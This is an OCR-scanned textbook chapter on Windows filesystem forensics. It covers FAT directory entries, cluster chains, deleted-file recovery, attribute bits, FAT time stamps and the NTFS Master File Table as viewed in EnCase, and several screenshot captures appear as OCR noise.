WBAT.INI Mon 06/14/2004 00-00-04 Mon 06/14/2004 00:00:00 Mon 06/14/2004 53 1167
HIMEM.SYS Mon 06/14/2004 00:00:04 Man 06/14/2004 00:00:00 Mon 06/14/2004 33191 1168
10.5YS Mon 06/14/2004 00:00:04 Man 06/14/2004 00:00:00 Mon 06/14/2004 222390 2
WBAT.TXT Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 Mon 06/14/2004 4946 884
AUTOEXEC.BAT Mon 06/14/2004 00:00:04 Mon 06/14/2004 00:00:00 Mon 06/14/2004 4132 894
CONFIG.SYS Mon 06/14/2004 00:00:00 Mon 06/14/2004 00:00:00 IMon 06/14/2004 504 794
EM EXE Sat 07/02/2005 12:21:42 Sat 07/02/2005 12:22:06 Sat 07/02/2005 297146 2166
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TABLE 7.5: Data Structure for FAT Directory entry

BYTE OFFSET (DECIMAL)  DESCRIPTION

0 First character of filename or status byte.

1-7 Characters 2—8 of filename.

8-10 Three characters of the file extension.

11 Attributes (detailed in Table 7.6).

12-13 Reserved.

14-17 Creation time and date of file. Stored as MS-DOS 32-bit date/time stamp.

18-19 Lastaccessed date—no time!

20-21 Two high bytes of FAT32 starting cluster. FAT12/16 will have zeros.

22-25 Last written time and date of file. Stored as MS-DOS 32-bit date/time
stamp.

26-27 Starting cluster for FAT12/16—two low bytes of starting cluster for FAT32.

28-31 Sizein bytes of file (32-bit integer).

Note: Will be o for directories.

You can see by looking at the decoded data in Figure 7.7 (and by the data appearing in the
various fields listed in Table 7.5) that the directory entry contains more data than is necessary
for basic filesystem function. For example, it contains modified, accessed, and created (MAC)
time stamps, as well as other attribute settings. To understand the basic filesystem operation,
we’ll focus on the critical three, which are filename, file length, and starting cluster. We’ll com-
bine these three directory entry fields, or attributes, with the FAT entries to show how data is
stored on a FAT filesystem.

Let’s create a file on a FAT16 filesystem and see what happens as the process unfolds. We are
going to create a file named 1_byte. txt that will contain 1 byte of data, as the filename sug-
gests. The directory entry will include the filename (1_byte. txt). The file length also will be
included, so the system knows how much of the cluster to include as the file. Once the operating
system knows the starting cluster for the data, it will record the starting cluster. As you know,
other data will be recorded as well (MAC time stamps, attribute settings, and so on). Figure 7.8
shows a directory entry for this file, with its filename (1_byte. txt), length (1), starting cluster
(3), and other data. Also, the FAT entries (both FAT1 and FAT2) must be recorded.

The system will also consult the FAT and determine the first available cluster; the system will
then start writing the data to this cluster. This starting cluster is recorded in the directory entry,
and the starting cluster will be marked as allocated. Since this data is only 1 byte in length, it
will be contained in only one cluster. Accordingly, this starting cluster is also the end of the file
cluster and so will be marked as such.
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Figure 79 shows the FAT table entries in which the starting cluster (cluster 3) is marked with
the End of File marker for a FAT16 system (0xFFFF). Note that cluster 3 is selected and that the
cluster numbers in the FAT start with 0, and sequence 1, 2, 3, and so on, making cluster 3 the
fourth in the sequence, or FAT array.

FIGURE 7.9

The FAT entry
(0xFFFF) for cluster
3 denotes it as both
allocated and the
end of the file.
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Let’s create another file but make it larger, so that it takes not one but two clusters. We'll cre-
ate this file to be 16,385 bytes long, making it exactly 1 byte longer than will fit in one cluster on

FIGURE 7.10
Directory entry
for the file named
16385.txt

our system, which is 16,384 bytes (32 sectors per cluster, or 512x32=16,384). Since the data is 16,385
bytes in length, when you save the data, a directory entry is created for it. As you expect, the file-

name (16385. txt), length (16,385), and starting cluster (4) are recorded along with other file meta-
data (MAC time stamps, attributes, and so on). Figure 7.10 shows the file entry for this file.

& | 1) Bookmarks

|

|

BHED Windows
|- Partition Entry
|- £ DO Cirectory Entry
|3 wirss Info File Record
5] Win2000 Tnfo Fie Record
|l sum
|55 wum
& s
R Tryles
&-C Custom
L 32 hit Directary Entry
File Record
Name. Created | n
11813&5 T |12M9f11 02:02 39PM ||?H‘3.I’I1 02:07 46PM ‘12!’19{11

| Accessed | Size | Custer |
16385 |4 |

[ Srossly = qusries [ Tt S
Sl Te e
2HC) Custom
A, 32 bit Drectory Entry

woript B Fichws Z]Report ) Console M@ Detals F ouput [ Lock [ Codepage (] oj12

As before, the operating system is working with the FAT as it creates the directory entry.
When the operating system consults the FAT, it finds that cluster 4 is the next one available on
this system, and that cluster is noted in the directory entry. The FAT entry for cluster 4 (fifth in
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the FAT array) is marked as allocated. More specifically, the FAT entry for cluster 4 must point
to the next cluster containing the file because this file will not fit in one cluster. Thus, the entry
for cluster 4 will be the value of the next cluster in the chain. When the FAT is consulted for the
next available cluster, the system finds it to be cluster 5 (sixth in the FAT array). Thus, cluster 4 is
marked with 0x0005, and cluster 5, the last cluster, is marked with the End of File notation for a
FAT16 filesystem (OxFFFF).

Figure 7.11 shows that the FAT entry for cluster 4 (fifth in the array) is 0x0005 and the entry
for cluster 5 (sixth in the array) is OXFFFE. Note that both clusters (4 and 5) are highlighted by
the cursor. Thus, the starting cluster (4) is marked as allocated and points to the next cluster in
the chain, which is cluster 5 (integer value of 0x0005). Cluster 5 is marked as allocated, but more
specifically it is marked as End of File, telling the operating system that the file ends here. Also,
the file length in the directory entry tells the operating system that the file is 16,385 bytes long,
meaning it uses all of the data in the fourth cluster (16,384 bytes) plus one byte of the fifth clus-
ter, making 16,385 bytes for the file’s logical length.

FIGURE 7.11
FAT entries for
clusters 4 and

5 (highlighted)
are, respectively,
0X0005 (points
to cluster 5) and
0XFFFF (denotes
End of File).
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By now, you should have a good understanding of how the FAT filesystem uses the FAT and
directory entries to store data. Let’s see what happens when a file is deleted and then subse-
quently recovered, because this is often of interest and importance to the investigator.

The process of deleting a file is quite simple, one that involves two steps. In the first step, the
first byte of the directory entry, also called the status byte, is changed to 0XE5. This byte normally
contains the first letter of the filename. The remainder of the directory entry is untouched.
When the operating system sees a directory entry starting with 0xE5, it ignores it and doesn’t
display it to the user. In the second step of the file-deletion process, the FAT is changed such that
the entries for the clusters containing the file’s data are marked with 0x0000, meaning the files
are unallocated and available for use by the system. With those two steps, a file is deleted on a
FAT filesystem.

Figure 7.12 shows the resulting directory entry when the file 16385. txt is deleted. Note
that the first byte has been changed to 0xE5, while the remainder of the directory entry has
remained untouched. When EnCase decodes the directory entry data, it displays this 0xE5 with
an underscore. We know that this used to be a 1.

Figure 7.13 shows the resulting changes in the FAT when the file 16385. txt is deleted. We
know from our previous discussions that the FAT entries for clusters 4 and 5 were, respectively,
0x0005 and 0xFFFF. Those clusters have been changed to 0x0000, meaning they are both avail-
able for data storage.



FIGURE 7.12
Directory entry
that results from
the deletion of file
16385.txt

FIGURE 7.13

FAT entries after
the file 16385. txt
has been deleted.
Clusters 4 and 5,
formerly marked as
0x0005 and oxFFFF,
are now both
marked 0x0000.
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Oddly enough, even though we marked the FAT filesystem structures (FAT and Directory
Entry) for deletion, no mention was made of deleting data from the clusters in which it was
stored. In fact, the data remains, untouched, unless it has been subsequently overwritten.
Deleted files can, therefore, be recovered. File-recovery success will depend on many factors,
with elapsed time and system activity between deletion and the attempt to recover the deleted
data being most critical. The process of recovering deleted files is simply to reverse the process
by which they were deleted.

Thus, to recover a deleted file, you would simply change the first byte of the deleted file’s
directory entry to its original first letter. If it is unknown, changing it consistently to an under-
score will suffice. When you do that, you need only look to the starting cluster (still stored in the
directory entry). If that cluster is still available, you can presume the data in that cluster to be
that file. If the file occupies more than one cluster, the next available cluster is presumed to con-
tain the data. It is at this point in particular that things can go wrong with the recovery process.

So far, we have dealt only with files that haven’t been fragmented, meaning that their data
has resided in consecutive clusters. If the clusters for a file have become fragmented or spread
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out over the drive, recovery can be less successful. Most forensic software saves you the trouble
of manual file recovery and attempts to recover the files using the methodology just described.
In doing so, the process is far from perfect. You may encounter a recovered deleted file in which
the data starts out appearing to be correct but changes in the middle of the file. When this hap-
pens, you can usually presume that the file was fragmented and the remainder of the file can’t
be accurately recovered, in which case half a file is better than no file!

Before we conclude our discussion of the FAT, there is another special entry we need to cover.
Thus far, we have discussed entries for files. Directory entries are similarly tracked, but with
certain markers denoting them as directories. A directory entry has a logical size of zero. The
FAT will turn on a bit to indicate it’s the entry’s attribute status as a directory. Table 7.6 shows
the various bit settings for the attribute byte located at byte offset 11, as previously noted in
Table 7.5. The fourth bit determines whether the entry is a directory, with 1 being a directory
and 0 being not a directory but a file instead. You might also notice the other attribute settings
that can apply to a file or a directory.

TABLE 7.6: Bit Flag Values for Attribute Field at Byte Offset 11
BIT FLAG VALUES (BINARY) DESCRIPTION
00000001 Read Only
00000010 Hidden
00000100 System
00001000 Volume Label
00001111 Long Filename
00010000 Directory
0010 0000 Archive

So far, we've looked at a directory as it appears as a subdirectory within a directory, which
is depicted by the folder SUBDIR? in Figure 7.14. Note that SUBDIR2 has a logical size of zero and
that its type is denoted as a Folder. This occurs when EnCase reads the attribute byte and sees
the fourth bit on, as shown in Figure 7.15.

We have been looking at the directory entry for the subfolder SUBDIR2 appearing as a sub-
folder of its parent folder, SUBDIR1. Because it is a parent folder’s function to track its child files
and folders, we have been looking at the directory structure of SUBDIRL. The folder structure
of the parent folder, SUBDIR1, has a unique structure. Each directory structure begins with the
classic “dot double dot” structure, which is to say the first byte appears as a dot (0x2E), and 32
bytes later a double dot (0x2E2E) appears, denoting the signature for a FAT directory entry.

The dot points to itself, and its starting cluster is for its own starting location. The double
dot points to its parent directory, and the starting cluster will be that of its parent or containing
directory. Figure 7.16 shows the decoded attributes of the dot double dot directory entries.



UNDERSTANDING FAT FILESYSTEMS

193

FIGURE 7.14 T E R romentrty
* s - £3] DOS Directory Entry.
View of directory [ o e rasern
entry for folder or | :ﬂﬂmmﬁ‘* Record
7 suip
directory named -2 wi
—&lso
SUBDIR2 L,
I
Name Created Witten Accessed | Size | Cluster
12/19/11 025226PM_[12A19/11 025228PM (121911 |0 4
. 121911 0252.26PM_[1219/11 0252.28PM 121911 |0 3
SUBDIR2 1219911 02.52.26PM [12419/11 02:52:14PM 12119411 0 5
1 BYTETAT 1201911 0263.55PM 129711 0253:12PM 12091 |1 B
_\'ennm 90aFie Extents @ Permissions 4% [ 1 | =) 5ubCirl 0 Fokder FALSE
200 Entries Al 2| [ _ByTETRT 1 File, Deleted, Overwritten. .. FALSE TAT  Test Do
5 [T
[ pienure ]report i console 1@ etais O outpue [Crock [ Codepage (] of12
2|5 A, Teut Styles
5 Custorm
=l A, 32 b Directory Entry
FIGURE 7.15 Binary
View of attribute 00010000
byte for directory <
entry SUBDIR2. :
y . |E| Text \@ Hex 53 Doc ‘B Transcripk [ picture
The fourth bit oodd. . TDrelTiT T
(binary view)is a1, ooeszvepirz WEiwrgr w2
. 00361_BYTE THT -@»w|?|? Sw|? -
meaning the entry
is a directory (see
Tables 7.5 and 7.6).
FIGURE 7.16 MName Created Witten Accessed | Size | Cluster
Dot double dot 1219711 0252,26PM 1201511 025228PM_[127971 [0 |4
. 121911 02:52:26PM | 12419411 02:62:28PM | 1211911 0 3
directory entry I |
. L
signature for the
FAT ﬁlesystem =] Text \s'a Hex |4Doc Transcript [ Ficture [=]Report [ Console T L4 b|f: .{\. Text Styles|
oooofl =l = A Text Styles
gg:jnmz Elw P17 Wl ustom
00961 BYTE THT Gww|?|? Bv|? LA, 32 bit Directory Entry
cd SHORTCUT EXPLAINED

You will recall that the command-line command for changing directory is cd. If you typein cd. .
you will change into the parent directory from the location of your present working directory.
This is because the double dot points to the parent directory!
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The process of creating, deleting, or recovering a directory entry is the same as for a file
because directories are stored in much the same way as files. It is important to understand that
forensic software uses the dot double dot signature during the folder-recovery process as the
signature is searched and the resulting data decoded.

Although we discussed several entries (status byte, filename, file size, and starting clus-
ter) in the directory entry in order to understand how FAT works, you must not lose sight of
other directory entries that can shed light on your network investigations, namely the MAC
times and the attributes. Times can tell when files were created, last written, or accessed,
which can be important to the investigation. For example, the creation time stamp for a file,
when accurate, can tell you when a piece of malware was placed on a system. You can then
examine network logs to determine the source of the file, if it originated from a network con-
nection. Thus, understanding time stamps is important for the investigator. Table 7.7 lists the
MAC times for FAT.

TABLE 7.7: MAC Time Stamps in FAT
MAC TIME DIRECTORY ENTRY NOTES
Modified Byte offsets 22-25 Last written date and time of file; stored as MS-DOS 32-bit
time stamp
Accessed Byte offsets 18-19 Date only of when file was last accessed—no time
Created Byte offsets 1417 Date and time file was “created” inits present location;

stored as MS-DOS 32-bit time stamp

FAT time stamps have some limitations. You will note that all FAT time stamps appear in
even seconds. This occurs because there are only 5 bits allocated for tracking seconds in the
MS-DOS 32-bit time stamp scheme. Since 2° (5 bits) allows 32 outcomes, you can only describe
30 seconds and not the 60 seconds that actually compose one minute. Therefore, the MS-DOS
32-bit time stamp scheme tracks seconds in increments of 30 and multiplies by 2 to convert to
seconds. Because 2 times any number is always even, FAT time stamps are always in even sec-
onds. Although being accurate to within “even” seconds is not usually a problem, you should be
aware of this behavior.

A much greater limitation with FAT time stamps occurs with the last accessed time stamp,
which in fact contains no time at all, only a date. Note in Table 7.5 that there are 4 bytes each
allocated for the modified and created time stamps. For the last accessed time, only 2 bytes are
allocated. Two bytes is only sufficient to track a date and not a time, and hence there will be no
times recorded on a FAT filesystem for last accessed time. Despite there being no time recorded,
Windows Explorer reports this time even though it doesn't really exist. It is reported as 12:00
AM, as shown in Figure 7.17. By contrast, Figure 7.18 shows the same files seen by EnCase foren-
sic software with only the date reported and no time.
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At your next cocktail party you can impress the geeks present by starting a conversation about
why the FAT filesystem can’t track time for the last accessed time stamp. The answer lies in the
limitations imposed by having only 32 bytes in a directory entry. It is a finite resource that can
hold only so much information.

If you recall, the last accessed time is stored at byte offsets 18 and 19. You would have expected
that byte offsets 20 and 21 would have been used to store the time, but Microsoft engineers ran
out of bits to use. Byte offsets 26 and 27 are used to store the starting cluster for the file. Because
2 bytes can only describe up to 65,536 (2*°) different values, the maximum number of clusters
that could be addressed was limited to this number. To address high-capacity hard drives, with
more than 65,536 clusters, the engineers needed a solution.

The answer was to steal the 2 bytes that could have been used to track the time for last accessed
and give it to the starting cluster field. By combining byte offsets 20 and 21 with byte offsets 26
and 27, a FAT32 filesystem uses 4 bytes to describe the starting cluster and can address up to a
theoretical maximum of 4,294,967,296 clusters (23%). In the end, it was probably more important
for the FAT filesystem to address larger hard drives than it was to track the actual time a file was
last accessed. Of course, back in the day when such decisions were made, network-intrusion
investigations were much less of an issue than they are today!




196

CHAPTER7 WINDOWSFILESYSTEMS

We mentioned file attributes as having significance in an intrusion investigation. You will
recall from our discussion of the directory attribute that there are other attributes listed in
Table 7.6. The attributes of importance to the investigator are the Read-Only, Hidden, and
System attributes. These attributes are most often set using the Windows Explorer interface,
except for the System attribute, as shown in Figure 7.19.

FIGURE 7.19 | test.bx Properties
The Read-Only and
. . General |Ser_1.|n'1y | Details I Previous Versions

Hidden attributes

canbesetinafile’s test txt

Properties.
Typeof file:  Text Documert (bd)
Openg with: Mj Motepad
Location: Cx
Size: 4 bytes (4 bytes)

Size on disk:  4.00 KB (4,096 bytes)

Created: Monday, Apiil 12, 2010, 11:22:57 AM
Madified: Monday, Apiil 12, 2010, 11:25:17 AM
Accessed: Monday, April 12, 2010, 11:22:57 AM

i Dl

Attributes:

Since Windows typically does not allow the user to see hidden or system files, storing files
with these attribute settings is a method of concealing the intruder’s files. Also, in addition
to hiding them, the intruder may want to set a file to Read-Only, thereby preventing the file’s
contents from being changed. Fortunately, forensic software cares little about such data-hiding
techniques and displays hidden or system files. If, however, the investigator finds herself in
the unenviable position of examining a live system using the Windows Explorer interface, she
should be aware that files with these attribute settings will not normally be shown without
making changes to the Explorer interface. You can achieve this in Windows 7 by selecting
Appearance and Personalization from Control Panel, clicking Folder Options, and choosing the
View tab, which results in the selection screen shown in Figure 7.20. Make sure that the Show
Hidden Files, Folders, Or Drives check box is selected and that the Hide Protected Operating
System Files (Recommended) check box is not selected.

The Windows interface doesn'’t afford the user an easy method for setting a file’s attribute to
that of a system file. This, however, doesn’t prevent the intruder from using a hex editor or other
utility to alter the bit setting, making the file appear as a system file.

You will see the FAT filesystem quite often during investigations since secondary drives,
removable media, and media that is moved between platforms are quite often FAT32. These will
often hold the intruder’s tools when he moves about, and so when the intruder is located, his
portable media will be of paramount importance.
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LOCATING FAT DIRECTORY ENTRY FRAGMENTS

You can search for FAT directory entries, and the results will often surprise you. The scope of
this search extends beyond that which will be found during the Recover Folders feature found in
EnCase. This feature depends on the dot double dot signature being intact. When that signature
is overwritten, more often than not directory-entry fragments remain. These remaining direc-
tory fragments often contain valuable information that is far too often overlooked. To search for
these fragments, you need to use a specially crafted GREP search, which looks something like this:

This GREP search is 32 bytes long. The first byte (offset 0) is looking for hexadecimal E5, which is
the value for a deleted directory entry. For the file extension (byte offsets 8, 9, and 10), we have
inserted exe. With this search, you can look for directory-entry fragments that are specific to
deleted executables. Once you have located these entries with EnCase, you can bookmark them as
FAT directory entries, and all of your metadata will be parsed and displayed. Using the previous
search methodology, you can search for other deleted directory-entry types JPEGs, DLLs, and so
forth). If you want to use this search to look for entries in allocated directory entries, make sure
you enable your search to Search File Slack, because EnCase treats directories entries as slack
space for searches.

We'll next turn our attention to the other Windows filesystem, NTFS. NTFS is a more stable,
robust filesystem to which many security features have been added. You will find it on the sys-
tem drives of most XP and later platforms. Domains use NTES to apply policy and security set-
tings. You will need to understand the NTFS filesystem in order to conduct Windows network
investigations.
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Understanding NTFS Filesystems

Windows released the first iteration of the New Technology Filesystem (NTFS) with
Windows NT in August 1993. Compared to FAT filesystems, NTFS is more robust, providing
stronger security, greater recoverability, and better performance with regard to read, write, and
search capabilities. Among its many features NTFS supports long filenames, a highly granular
system of file permissions and access control, compression of individual files and directories,
and an encrypting filesystem. In addition, NTFS is a journaling filesystem, although Microsoft
refers to this feature as logging. This feature, probably more than any other feature, gives tre-
mendous stability to NTFS.

A filesystem’s most vulnerable point is when it is writing changes to its metadata structures.
In simple terms, this is when a file is being created or modified. If a power failure or crash
occurs at that point, the filesystem can’t complete the task and can become corrupt, failing to
mount upon restart. A journaling or logging filesystem, by contrast, first writes all changes to
the filesystem to a log. Once the information is securely written to the log or journal, the actual
changes are written to the filesystem. If a crash occurs during the actual writes to the filesystem,
upon restart the system detects the error and uses the information stored in the journal or log
to correctly write the information to the filesystem, thereby restoring the filesystem to a stable
point. NTFES thus affords much greater stability because of this feature. Accordingly, it is a far
more complex filesystem than FAT, and we simply could not cover its feature set in great detail
because it would go well beyond the scope of this book. Therefore, our purpose here is to pro-
vide a brief overview so that the investigator understands its basic function. While different ver-
sions of NTFS have been rolled out over time, the differences between them are not relevant to
this general discussion, so we will describe them all generically as NTFS.

Using NTFS Data Structures

Before we begin exploring NTFS, it is important to understand that Microsoft has never pub-
lished the official specifications for this filesystem. What is known about NTFS is, therefore,
the combined knowledge of a vast number of people who have taken the time to dissect and
reverse engineer its internal structures and function. Although several operating systems will
read an NTFS partition (Mac OS X [10.3+] and Linux), writing to them is another matter. Some
third-party drivers and utilities are available that are able to write to NTFS, but usually they are
accompanied by sufficient caveats and warnings so as to convince the user that such an activ-
ity isn’t without risks. Clearly, this speaks to the complexity of NTFES and to the fact that we can
expect to provide only a working overview in this chapter.

We have seen the limitations of the FAT filesystem imposed mostly by the limited amount of
information that can be stored in the 32-byte directory entry. Instead of a directory entry as used
by FAT, NTFS uses a Master File Table (MFT) system wherein there is a kilobyte entry for every
file and directory on the system. You can immediately see that the amount of information about
a file or directory increases drastically with that storage increase (from 32 bytes for FAT to 1,024
bytes for NTFS), but the differences don’t stop there, as you'll soon see.

The MFT is, in fact, the heart of the NTFS system. The MFT and all other structures that com-
pose the NTFES system are themselves files, with the MFT filename being $MFT. Thus, another
major difference between FAT and NTEFS is that with NTFS, everything is a file, which is cer-
tainly not the case with FAT. Even directories are stored as a file that contains a list of other files
that the directory contains. The MFT contains information about every file and directory within
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the partition, and there is an entry in the MFT for each. Figure 7.21 shows the MFT in the root
directory of the system drive (C: in this case). Note that EnCase displays this special system file,
$MFT, and others ($Bitmap, $MFTMirr, $Secure, and so on) with an icon that appears as a square
with the red letter I therein.
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MFT and other spe- = Home | oiafile Extents (b (|57 1 |[T) sgitmap File, Internal 62,856 0C-C251503
cial NTFS metadata éﬁg%gmes A 2 E’sMFr File, Internal 65,536 0C-C167605
. i i Disk Image 3 Svolume File, Internal 0 0C-C167611,488
files (prefixed with SOt g 4 %wadclus File, Internal 0 0C-C167521,288
$) in the root of the D) $extend 0 5 |[T] ¢Boot File, Internal 8,192 0CCO
. (=) 5ystem Valume .
system drive ook [ & |[T] supCase File, Internal 131,072 0C-C251626
1 7 |[T] &LogFile File, Internal 2,588,672 0C-C162533
s E’ £Secure File, Internal 1]
9 E’ SMFTMirr File, Internal 4,096 0C-C251407
[ 10 |[T] sattroef File, Internal 2,560 0C-C167589
] 11|  ¢Secure-gsI File, Stream 4,096 0C-C251415
[]12| $BadClus-$Bad File, Stream 257,441,280
0 13|  ssecure-sson File, Stream 4,096 0C-C167594
[] 18|  ¢Secure-$sDS File, Stream 263,680 0C-C230464
15 G Unallocated Clusters File, Unallocated Clusters 71,052,800 0C-C93885
[ 16 | [ volume Slack File, Unallocated Clusters 512 0C-5502878
10 17] i) Tools Folder 152 0C-C157663,288
|3 18| =) sExtend Folder, Hidden, System 344 0CC167627,288
[] 19 | i) System Yolume Information Folder, Hidden, System 576 0DC-C167659,440

The official Microsoft term for an MFT entry is a file record, and each record or entry is 1,024
bytes (one kilobyte). Each entry has a unique header (FILE in ASCII), and the first 42 bytes have
a defined purpose, while the remainder store the attributes of the file or directory. The MFT
records are numbered sequentially, starting with 0, and each entry is uniquely identified by its
MEFT file record number. If you are using EnCase as a forensic tool, you will see a column in
the table view named File Identifier, and this column lists the MFT record numbers, as shown
in Figure 7.22. When you look at this figure, you should also note that when the NTFS volume
is formatted, the first entries in the MFT are the special NTFS metadata files prefixed with a $,
with $MFT being the first entry (file record 0).

FIGURE 7.22 yFome " - enres| [TTB Y Name o] Deserption
MFT record num- Gz Home | e Fle Bxtents 4|57 1 |[T] sPT 0 Fie, Internal
bers shown in J:‘}—DE":& Entries [ 2 |[T] sMFTMirr 1 File, Internal
SO Disk Image [ 3 |[T) sLogrie 2 File, Intamal
the EnCase COl.- [Eae ] 4 |[T] $volume 3 File, Internal
umn named File iy $Extend O s msAt‘h'DEf 4 File, Internal
Identifier DE'SYS::EFH Volume & 6 |[I] sgitmap 6 File, Internal
LEpTodk ] 7 |[T] $Boot 7 File, Internal
O 8 msﬁadclus 8 File, Internal
[ 9 |[T] $secure 2 File, Internal
[ 10 |[T] $upCase 10 File, Internal

Pl 1 T 1

Thus, the MFT is a list, or database, of file records, starting with record 0, sequentially num-
bered. Each record contains information about a file or directory. Table 7.8 shows, conceptually,
how MFT records are arranged. Such a view may help in your understanding, but it is clearly
not real data. To see MFT records as real data in EnCase, you will need to make a few tweaks.
First, you should create a custom text style in which Line Wrap is set to Max Size and Wrap
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Length is set to 1,024 (the length of an MFT record). You can name this new text style MFT or
whatever suits your fancy. One final setting you need to change in the new Text Style dialog is
its code page, which should be changed from its default (Unicode) to Latin 9. With that, each
MFT file record will appear on a line by itself. Figure 7.23 shows the MFT with this custom
text style applied, thus placing each MFT file record on its own line in the view (bottom) pane.
In addition, since we searched the MFT record header (FILE), it appears shaded by virtue of it
being a search hit.

TABLE 7.8: Concept of How MFT File Records Are Stored
MFT FILE RECORD STRUCTURE
(EACH RECORD 1S 1,024 BYTES IN LENGTH) DESCRIPTION
MFT file record o ($MFT) Master File Table
MFT file record 1 (SMFTMi rr) Backup copy of the first four entries of the MFT
MFT filerecord 2 ($LogFiTe) Journal file for system recovery and file integrity
MFT filerecord 3 ($VoTlume) NTFS version and volume label and identifier
MFT filerecord 4 ($AttrDef) Attribute information

(Record entries continue for as many files and
directories as are on the system.)

FIGURE 7.23 { EyCases | 3 sares X2 [ Table | | {Report it Galery (g Tmeine £ Disk 43 Code
[ | File & — Logical Starting
MET file records yHome 5. Entres | ([184) Name S Desaption ‘| = ;
appear on their own gz Home | agaFile Extents 4| /5A 1 |[T] smrT 0 File, Internal 65,536 0C-C167605
line as the result of émmfg_ Entries E 1 2 |[T) smFmeiee 1 File, Internal 4,096 0C-C251407
. é‘r‘D Disk Image 3 2 File, Intemal 2,588,672 0C-C162533
creating a custom éwg, - vl 103 @) stogrie =
. O ¥ 4 1T gvolume 3 File, Internal 0 0C-C167611,
text style (Line 72 f——rr— @ <] u
Wrap Max Size and i [E] Text| [[]Hex [gPictre FRepert [i]Console 7@ [ lock & 2/51 i A TextStyles
Wrap Length of S0000ERERE - - 9C- - oo e, TN T T T T e T Y @ IS A Text Sties
. B . srHeeey 25 Custom Text Styles
1,024) in EnCase. L A T Entry
. . _ljl\‘ 150 Latin @ FTP
.................. . cegrasisd 4 3150 Latin

- IS0 Latin Colors
EHC)Low Bit - ASCIT
EHHRTL Unicode
EHC) Unicode

Now that you know how the file records are structured and numbered within the MFT, let’s
turn our attention to the structure of each file record. As previously mentioned, each record
begins with a header (FILE), after which there are 37 more bytes before the beginning of the
first attribute. The following listing shows, conceptually, how a typical MFT file record would
appear, showing the MFT header, the Standard Information attribute, the File Name attribute,
the Security Descriptor attribute, and the Data attribute.
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TYPICAL MFT FILE RECORD ENTRY WITH ATTRIBUTES

HEADER

$STANDARD_INFORMATION

$FILE_NAME

$SECURITY_DESCRIPTOR

$DATA

Many different types of attributes could also be present. Some are typical and some are
seldom seen. Table 79 lists the default, or system-defined, MFT file record attribute types.
Although these attributes contain considerable information, most of the information needed for
a filesystem to function at its most basic level is contained within the MFT, specifically the file’s
name, the file’s length, the file’s starting cluster, and the file’s cluster runs. The only information
needed that is not contained in the MFT is the ability to track which clusters are allocated and
which are unallocated. This information is contained in the file $Bitmap, which we will cover
soon. Thus, with this basic information, a filesystem can read, create, modify, or delete files or

directories.
TABLE 7.9: System-defined (Default) MFT Attribute Types

ATTRIBUTE TYPE

IDENTIFIER (HEX) NAME DESCRIPTION

0x10 $STANDARD_INFORMATION Contains fundamental properties such as MAC
times, owner, security 1D, and basic attribute
flags. Inaddition to traditional MAC times,
another time stamp describes when the MFT
was last modified. All times are stored in a 64-bit
Windows time stamp and in GMT (Greenwich
Mean Time).

0x20 $SATTRIBUTE_LIST Shows where other attributes for the file or
directory canbe located.

0x30 $FILE_NAME Stores the file or directory name in Unicode
(long filename), as well as the short filename and
all four times (last written, last modified, last
accessed, and MFT last changed).

0x40 $OBJECT_ID Contains a16-byte unique ID for the file or
directory.

0x50 $SECURITY_DESCRIPTOR Lists the access control and security properties
of the file or directory.

0x60 $VOLUME_NAME Shows the volume name.

201
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TABLE 7.9: System-defined (Default) MFT Attribute Types (continued)

ATTRIBUTE TYPE

IDENTIFIER (HEX) NAME DESCRIPTION

0x70 $VOLUME_INFORMATION Contains the filesystem version (contains other
flags as well).

0x80 $DATA Ifresident, stores data contents. If nonresi-
dent, stores starting cluster and cluster run
information

0x90 $INDEX_ROOT Describes theroot node of anindex tree.

0xAO0 $INDEX_ALLOCATION Describes the nodes of the index tree that is
rooted in the previous $INDEX_ROOT attribute
(attribute 0x90).

0xBO $BITMAP Shows the cluster allocation bitmap used by the

$MFT file to track which MF T entries are allo-
cated and also used by $INDEX_ALLOCATION
to track whichindex records in $INDEX_
ALLOCATION are allocated to anindex record.

0xCo $REPARSE_POINT Contains data for reparse points, whichisa
soft link.
0xD0 $EA_INFORMATION Used for legacy compatibility with OS/2 applica-

tions (HPFS, or High Performance File System).

OxEO $EA Used forlegacy compatibility with OS/2 applica-
tions (HPFS, or High Performance File System).

0x100 $LOGGED_UTILITY_STREAM Describes keys and information pertaining to
encrypted attributes.

We noted that the MFT contains an entry for every file or directory in the partition. If the
entry is for a directory, there will be an attribute for the $INDEX_ROOT. In addition, there will be
flags (bit settings) denoting its directory status that can be found in the MFT header (byte range
22-23), in the $STANDARD_INFORMATION attribute, and in the $FILE_NAME attribute. As the parent
tracks its children, the $INDEX_ROOT attribute will point to and list all files and directories con-
tained in this parent directory entry, listing their file/directory names, time stamps, and MFT
numbers of both the objects and the parent. Figure 7.24 shows the children of folder setup as
described through the attribute $INDEX_ROOT.

Although the $INDEX_ROOT attribute can handle small directories, when they become large,
the $INDEX_ALLOCATION attribute is created and used. This latter attribute is filled with index
records. Using this system, NTFS is able to track very large and convoluted directory systems
efficiently.



FIGURE 7.24
Disk Explorer view
of children of par-
ent folder setup as
described through
the attribute
$INDEX_ROOT

MFTH 68 DIR: ‘setup’.

Interpretation of data:
Name
acterrar. htm
activate.htm
act_pley htm
autoupdt. kit
au_pleg. bt
badeula.htrm
badpkeg. htrn
compname.htm
dialup. htm
drdyisp. htm
drdprig htm
drdpoem htm
drdpref. htm
dtivwait.him
firi.htm
hrwprmpt. hitm
iconh. ki
ics.hitmn
ident].htm
ident2.htm
izp.htm
izpwait, htrn
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- modified 8/30/2017 11:20:04 AM, starting at cluster <034679, Parent dir x54[x1]

Jlis:3 Size Date Aty Subg

#1878[2 3815 4/14/200811:00:00 44 & Save View
#8792 4138 414/200811:00:00 M & Save View
#8772 4200 4/14/200811:00:00 M & Save View
#187B[H2 G679 4/14/200811:00:00 AM & Save View
#187ARZ] 5443 4/14/200811:00:00 AM g Save View
#1870[=2] 3615 4/14/200811:00:00 AM g Save View
#187E[H2 4101 4/14/2008 11:00:00 AM g Save View
#187F[2 5404 4/14/2008 11:00:00 AM & Save Wiew
«1880[=2 2171 4/14/2008 11:00:00 &M & Save Wiew
x1881[x2 5462 4/14/2008 11:00:00 &M & Save Wiew
«1882[x2 5356 4/14/2008 11:00:00 4M & Save Wiew
«1883[x2 5337 4/14/200811:00:00 4M & Save Wiew
«1804[x2 7325 4/14/200811:00:00 4M & Save Wiew
«1805]x2 926 4/14/200811:00:00 AM 3 Save Wiew
«1806[2 3216 4/14/200811:00:00 4M & Save Wiew
¥1887[k2 2543 4/14/200811:00:00 4M & Save Wiew
#1888[2 3394 414/200811:00:00 M & Save View
